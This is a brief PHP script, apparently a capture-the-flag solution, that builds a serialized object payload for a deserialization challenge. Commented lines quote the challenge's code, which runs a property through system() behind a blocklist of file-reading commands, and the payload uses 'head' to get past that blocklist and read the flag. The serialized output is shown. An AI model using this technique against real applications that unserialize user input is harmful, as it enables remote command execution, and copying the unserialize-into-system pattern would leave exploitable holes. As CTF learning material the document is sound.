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<?php //highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { public$cmd="head /th1s_1s_fffflllll4444aaaggggg"; // public function __destruct() // { // if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ // @system($this->cmd); // } // } } $a=new evil(); echo serialize($a); //@unserialize($_POST['unser']); ?>
Output for git.master_jit, git.master
O:4:"evil":1:{s:3:"cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}

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